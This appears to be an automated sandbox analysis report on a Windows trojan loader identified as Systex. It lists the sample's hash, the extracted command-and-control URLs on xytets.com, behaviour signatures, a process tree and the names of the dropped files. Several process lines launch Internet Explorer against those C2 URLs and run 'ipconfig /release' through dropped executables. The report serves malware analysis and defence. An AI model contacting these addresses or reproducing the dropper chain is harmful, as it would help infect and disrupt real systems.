Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/07/2026, 02:15
General
- Target 2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260718-cpp1dscz9q
- SHA256 d6b531ba18ec142c0bffad0c0bcc7787c2c25bf922096dff6d24e7f2835f83c3
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 52 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_c12951ce6ed1600a3abad7942f7375e1_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4828 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4524 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xrphezxrpj.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\xrphezxrpj.exeC:\Temp\xrphezxrpj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xrphezxrpj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xrphezxrpj.exeC:\Temp\i_xrphezxrpj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zurmkezuom.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\zurmkezuom.exeC:\Temp\zurmkezuom.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zurmkezuom.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zurmkezuom.exeC:\Temp\i_zurmkezuom.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\eywrojgbzt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\eywrojgbzt.exeC:\Temp\eywrojgbzt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_eywrojgbzt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_eywrojgbzt.exeC:\Temp\i_eywrojgbzt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ljdbwqoigb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ljdbwqoigb.exeC:\Temp\ljdbwqoigb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ljdbwqoigb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ljdbwqoigb.exeC:\Temp\i_ljdbwqoigb.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\yvqoigaytq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\yvqoigaytq.exeC:\Temp\yvqoigaytq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_yvqoigaytq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_yvqoigaytq.exeC:\Temp\i_yvqoigaytq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\oigavtnlfd.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\oigavtnlfd.exeC:\Temp\oigavtnlfd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_oigavtnlfd.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_oigavtnlfd.exeC:\Temp\i_oigavtnlfd.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dysqkicavs.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dysqkicavs.exeC:\Temp\dysqkicavs.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dysqkicavs.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dysqkicavs.exeC:\Temp\i_dysqkicavs.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfaxspkica.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hfaxspkica.exeC:\Temp\hfaxspkica.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfaxspkica.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hfaxspkica.exeC:\Temp\i_hfaxspkica.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zusmkecwup.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\zusmkecwup.exeC:\Temp\zusmkecwup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zusmkecwup.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zusmkecwup.exeC:\Temp\i_zusmkecwup.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\urmkecwupe.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\urmkecwupe.exeC:\Temp\urmkecwupe.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_urmkecwupe.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_urmkecwupe.exeC:\Temp\i_urmkecwupe.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pjecwuomge.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\pjecwuomge.exeC:\Temp\pjecwuomge.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pjecwuomge.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pjecwuomge.exeC:\Temp\i_pjecwuomge.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqojgbyto.exe ups_run2⤵
-
C:\Temp\ywqojgbyto.exeC:\Temp\ywqojgbyto.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqojgbyto.exe ups_ins2⤵
-
C:\Temp\i_ywqojgbyto.exeC:\Temp\i_ywqojgbyto.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tnlgdywqoi.exe ups_run2⤵
-
C:\Temp\tnlgdywqoi.exeC:\Temp\tnlgdywqoi.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tnlgdywqoi.exe ups_ins2⤵
-
C:\Temp\i_tnlgdywqoi.exeC:\Temp\i_tnlgdywqoi.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tnlgdyvqoi.exe ups_run2⤵
-
C:\Temp\tnlgdyvqoi.exeC:\Temp\tnlgdyvqoi.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tnlgdyvqoi.exe ups_ins2⤵
-
C:\Temp\i_tnlgdyvqoi.exeC:\Temp\i_tnlgdyvqoi.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ifaysqkica.exe ups_run2⤵
-
C:\Temp\ifaysqkica.exeC:\Temp\ifaysqkica.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ifaysqkica.exe ups_ins2⤵
-
C:\Temp\i_ifaysqkica.exeC:\Temp\i_ifaysqkica.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\causmkfcxv.exe ups_run2⤵
-
C:\Temp\causmkfcxv.exeC:\Temp\causmkfcxv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_causmkfcxv.exe ups_ins2⤵
-
C:\Temp\i_causmkfcxv.exeC:\Temp\i_causmkfcxv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rpkhczusmk.exe ups_run2⤵
-
C:\Temp\rpkhczusmk.exeC:\Temp\rpkhczusmk.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rpkhczusmk.exe ups_ins2⤵
-
C:\Temp\i_rpkhczusmk.exeC:\Temp\i_rpkhczusmk.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xrpjecwupm.exe ups_run2⤵
-
C:\Temp\xrpjecwupm.exeC:\Temp\xrpjecwupm.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xrpjecwupm.exe ups_ins2⤵
-
C:\Temp\i_xrpjecwupm.exeC:\Temp\i_xrpjecwupm.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\omhezwrpjh.exe ups_run2⤵
-
C:\Temp\omhezwrpjh.exeC:\Temp\omhezwrpjh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_omhezwrpjh.exe ups_ins2⤵
-
C:\Temp\i_omhezwrpjh.exeC:\Temp\i_omhezwrpjh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\geywrojhbz.exe ups_run2⤵
-
C:\Temp\geywrojhbz.exeC:\Temp\geywrojhbz.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_geywrojhbz.exe ups_ins2⤵
-
C:\Temp\i_geywrojhbz.exeC:\Temp\i_geywrojhbz.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\gezwrpjhbz.sysC:\Temp\gezwrpjhbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\ojgbztrlje.sysC:\Temp\ojgbztrlje.sys1⤵
- Executes dropped EXE
-
C:\Temp\trljdbvtol.sysC:\Temp\trljdbvtol.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigaytqlj.sysC:\Temp\qoigaytqlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\vtnlfdxvqn.sysC:\Temp\vtnlfdxvqn.sys1⤵
- Executes dropped EXE
-
C:\Temp\kfdxvpnhfa.sysC:\Temp\kfdxvpnhfa.sys1⤵
- Executes dropped EXE
-
C:\Temp\smkfcxvpnh.sysC:\Temp\smkfcxvpnh.sys1⤵
- Executes dropped EXE
-
C:\Temp\pnhfzxspki.sysC:\Temp\pnhfzxspki.sys1⤵
- Executes dropped EXE
-
C:\Temp\fzxrpjhczu.sysC:\Temp\fzxrpjhczu.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrojhbztrl.sysC:\Temp\wrojhbztrl.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgbztrljeb.sysC:\Temp\jgbztrljeb.sys1⤵
-
C:\Temp\jgbztrljdb.sysC:\Temp\jgbztrljdb.sys1⤵
-
C:\Temp\aytqljdbvt.sysC:\Temp\aytqljdbvt.sys1⤵
-
C:\Temp\tnlfdxvqni.sysC:\Temp\tnlfdxvqni.sys1⤵
-
C:\Temp\nhfaxspkic.sysC:\Temp\nhfaxspkic.sys1⤵
-
C:\Temp\kfcxvpnhfz.sysC:\Temp\kfcxvpnhfz.sys1⤵
-
C:\Temp\ecxupmhfzx.sysC:\Temp\ecxupmhfzx.sys1⤵
-
C:\Temp\zurmkecwuo.sysC:\Temp\zurmkecwuo.sys1⤵
-
C:\Temp\rmjebwuomg.sysC:\Temp\rmjebwuomg.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
dysqkicavs.exe
eywrojgbzt.exe
gezwrpjhbz.sys
hfaxspkica.exe
i_dysqkicavs.exe
i_eywrojgbzt.exe
i_ljdbwqoigb.exe
i_oigavtnlfd.exe
i_xrphezxrpj.exe
i_yvqoigaytq.exe
i_zurmkezuom.exe
kfdxvpnhfa.sys
ljdbwqoigb.exe
oigavtnlfd.exe
ojgbztrlje.sys
qoigaytqlj.sys
smkfcxvpnh.sys
trljdbvtol.sys
vtnlfdxvqn.sys
xrphezxrpj.exe
yvqoigaytq.exe
zurmkezuom.exe
RecoveryStore.{8751E595-824E-11F1-BC3D-EEAAB15450A7}.dat
RecoveryStore.{8754485E-824E-11F1-BC3D-EEAAB15450A7}.dat
suggestions[1].en-US
memory/1000-153-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1240-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1848-40-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1964-141-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1976-116-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2344-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3232-129-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3248-145-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3268-137-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3676-133-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3724-149-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3748-84-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3800-121-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4020-55-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4044-69-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4584-125-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4624-157-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4896-105-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4896-117-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4988-96-0x0000000000010000-0x0000000000083000-memory.dmp